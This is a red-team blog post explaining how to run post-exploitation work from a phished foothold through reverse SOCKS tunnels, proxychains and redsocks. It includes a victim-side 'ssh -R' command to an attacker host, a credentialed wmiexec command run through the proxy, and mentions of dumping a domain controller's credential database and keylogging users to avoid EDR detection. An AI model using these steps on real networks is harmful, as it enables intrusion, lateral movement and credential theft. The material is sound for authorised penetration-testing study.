This post exists to place emphasis on exactly how useful and how far you can take SOCKS proxies for the purposes of penetration tests and red teams. I have been using them to almost completely replace my use of and reliance upon built-in C2 functionality.
Consider the following scenario: you have just sent a phishing email to a target, and you’ve obtained a shell back in response. You now have internal access to the target’s network and wish to begin establishing persistence, moving laterally, etc. Let’s take a pretty standard enumeration tactic, maybe you want to kerberoast the domain in which the compromised host resides. A few potential options await you; what follows is by no means an exhaustive list:
In short, these options all share one thing in common: you have to run some sort of procedure or set of procedures within memory. This means that additional testing is required to ensure that your payload will bypass snitchware (EDR,XDR,etc). Typically, when pivoting is talked about, it's use is highlighted as a method to leverage the dual-homed nature of a host on a network to gain access to another subnet. Alternatively, and what I am highlighting with this post, most red team activities can be performed using a simple SOCKS connection so that you can operate without fear that the next command you run might lose what is perhaps your only foothold in the network.
Conducting a red team via a SOCKS proxy has a number of advantages:
Running exclusively over SOCKS is not without it's disadvantages however:
Let me address these negative aspects in a little more detail. The first of the drawbacks to pivoting is that in order for a stable stream of data to be exchanged, the polling interval needs to be set to 0. However if you only turn your interval to this when you’re performing these relevant attacks, then this issue shouldn’t be an... issue. This seems like a pain but if you already have your initial enumeration and persistence procedures scripted for rapid execution then you can land, enumerate, persist, and collect data in a couple of seconds. After that you can set your interval back to whatever you feel is comfortable. It's generally good practice to have these sorts of things in order this way for any red team engagement.
The second issue to address is that when your payload is run by the user the process that is spawned has the privileges of this user, allowing you to operate from an authenticated perspective without actually knowing any credentials. The options for getting around this hurdle require a little more creativity, perhaps something like having your payload obtain those credentials via keylogging or by phishing the user with a small desktop GUI widget of some sort.
Onto the actual technique. Pivoting is all about tunnels, more specifically, SOCKS tunnels, even more specifically, reverse dynamic socks tunnels. In case it's been a while, a reverse dynamic socks tunnel is where a host communicates outbound to an external server to initiate a connection with the intention of allowing desired traffic originating from the external server to go through that connection and get handled on the end of the connecting host. This effectively gives the external server access to the local network of the connecting host through a single socket.
A common example of a reverse dynamic port forward is seen with the simple command: ssh -R 8888 user@evil-host.com
Just to clarify, this command would be run from the host of the 'victim' which would grant all SOCKS traffic that is sent through evil-host's port 8888 the ability to be handled by the victim's host, ultimately granting evil-host access to the victim's network.
Keep in mind SSH is not required at all, the SOCKS protocol itself being implemented by the payload is the only requirement here. It is likely one of the simplest network protocols to support; additional information on the protocol can be found within the RFC.
A few tools off of the top of my head that support connections like are listed below but I would always recommend you write your own payloads with this functionality included.This is because the SOCKS protocol only needs to be implemented at the endpoints, the data that traverse the perimeter can go over any protocol, allowing you to get really creative with how you want to implement the protocol.
More tools obviously exist, and google is your friend.
Once you have a SOCKS connection the hard work is basically finished, at this point you can run whatever commands you would run as though you were on-site performing an internal, mind you with a bit of latency depending on network performance.
You probably already know about proxychains but if not it basically wraps all network traffic in the SOCKS protocol, shown below:
Like I said above, you can work as though you were on an internal, here I am running wmiexec.py using proxychains:
Dumping a dit:
So while I could go into detail on how to apply this directly to a specific C2, that isn't what this post is about, pivoting is a networking concept that supercedes a single brand of C2 so I want to keep this general. Instead I'll try to go into a bit more detail on how to conceptually apply this to an engagement, since I know most people are not huge fans of networking.
If you are doing anything from linux you can typically just use proxychains, configurable in seconds with something like the snippet below:
# Tail end of of /etc/proxychains.conf, truncated for brevity
[ProxyList]
socks4 127.0.0.1 7777
socks4 127.0.0.1 8080 # from the perspective of the second hop (cloudserv), this port is on 127.0.0.1
Then we can simply run:
proxychains wmiexec.py domain/user:"password"@internal_ip
For the following result:
Hopefully a practical example like this helps to clarify some of what is going on and gives you a foundation with which to play around with things until they get working.
Python scripts of basically any kind can go through proxychains. This is extremely useful but we can take this a bit further, primarily for those of you who prefer windows or have tools that only run on windows. So, next is something a little more difficult: Powershell over socks, even without native socks support provided by the script/application. It is true that a few powershell utilities are created with socks in mind, but those are few and far between, we have a portal, and some traffic, so we are going to try and get our traffic through the proxy without the application knowing about it. You can think of it as a system wide proxychain.
Redsocks is a program that when given a proper iptables configuration, and a socks connection, will ferry ALL traffic across the proxy (or proxies) like your own little network Charon.
For more visual people, an example of the final setup will look something like this:
WINDOWSVM->LINUX(running redsocks)->(ssh -L 7777:localhost:7777@CLOUD.HOST)->CLOUD.HOST<-(ssh -R 7777)->IMPLANT
Most of this setup info is straight from the github linked above as well as from this article. I will be doing a slightly more "minimalist" setup which will be much less granular, so if you want more control, check out the links below:
The standard setup for my host (Debian Buster) goes something like this:
sudo apt install redsocks -ysudo iptables-save > ~/old-iptable-rules.rulesThese exclusions are pretty standard as they are simply the network ranges that are reserved for private networks. Keep in mind you will need to change these by removing the lines corresponding to the network ranges being used by your internal client's network.
For example: if the client's network is using 192.168.10.0/24 and you're using 192.168.1.0/24 you will need to change the 192.168.0.0/16 exclusion in the list below to 192.168.1.0/24 so as to avoid excluding traffic destined for the client network while still maintaining the exclusions to access your own network.
Setting up new chain and exclusions:
sudo iptables-save > backingthemupanyways.rules # backing up the rules
sudo iptables -t nat -N REDSOCKS
sudo iptables -t nat -A REDSOCKS -d 0.0.0.0/8 -j RETURN
sudo iptables -t nat -A REDSOCKS -d 10.0.0.0/8 -j RETURN
sudo iptables -t nat -A REDSOCKS -d 127.0.0.0/8 -j RETURN
sudo iptables -t nat -A REDSOCKS -d 169.254.0.0/16 -j RETURN
sudo iptables -t nat -A REDSOCKS -d 172.16.0.0/12 -j RETURN
sudo iptables -t nat -A REDSOCKS -d 192.168.0.0/16 -j RETURN
sudo iptables -t nat -A REDSOCKS -d 224.0.0.0/4 -j RETURN
sudo iptables -t nat -A REDSOCKS -d 240.0.0.0/4 -j RETURN
Port 12345 is the default port that redsocks listens on, this is not your socks proxy port by the way; this can be changed in /etc/redsocks.conf. No matter what port you use, you need to run this with the port that is specified in the /etc/redsocks.conf file:
sudo iptables -t nat -A REDSOCKS -p tcp -j REDIRECT --to-ports 12345
redsocks {
/* `local_ip' defaults to 127.0.0.1 for security reasons,
* use 0.0.0.0 if you want to listen on every interface.
* `local_*' are used as port to redirect to.
*/
local_ip = 127.0.0.1;
local_port = 12345;
// `ip' and `port' are IP and tcp-port of proxy-server
// You can also use hostname instead of IP, only one (random)
// address of multihomed host will be used.
ip = 127.0.0.1; # <------------ change this to match your outbound proxy settings
# remember 127.0.0.1:7777 is forwarded to CLOUDHOST:7777
port = 7777; # <------------ change this to match your outbound proxy settings
I truncated the rest of the file for brevity, since nothing else really matters for this setup, but keep in mind there are some additional features and instructions for things like per-user traffic redirection, random proxy swapping, and load balancing.
After you change this configuration information, you need to reload the service with something like sudo service redsocks force-reload and then you should be good to go for configuring redsocks.
# force all port 443 traffic through proxy
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDSOCKS
# force all port 80 traffic through proxy
iptables -t nat -A OUTPUT -p tcp --dport 80 -j REDSOCKS
# force ALL traffic through proxy, this was the one used in my case
iptables -t nat -A OUTPUT -p tcp -d 0/0 -j REDSOCKS
Now you can test your implementation with curl ifconfig.me or whatever IP identifier site you like.
If everything is working it may be a good idea to save the current rules using sudo iptables-save > redsocks.rules or if nothing is working you can restore your previous configuration with sudo iptables-restore iptables_backup.rules from step one.
You can effecitvely use these two “.rules” files to turn the traffic redirection off and on.
Cool, so what did that get us? You should now be able to start your Windows VM set the interface to NAT, and go do stuff. What should happen is that while your traffic is being routed by your host OS, iptables will "catch" it and the traffic should go through redsocks. Below I have an example of running powershell through the socks proxy without using any special proxy configurations to make this happen.
Unfortunately, I do not have active directory domain in the cloud within which to demonstrate but the idea is the same.
Hopefully this is useful,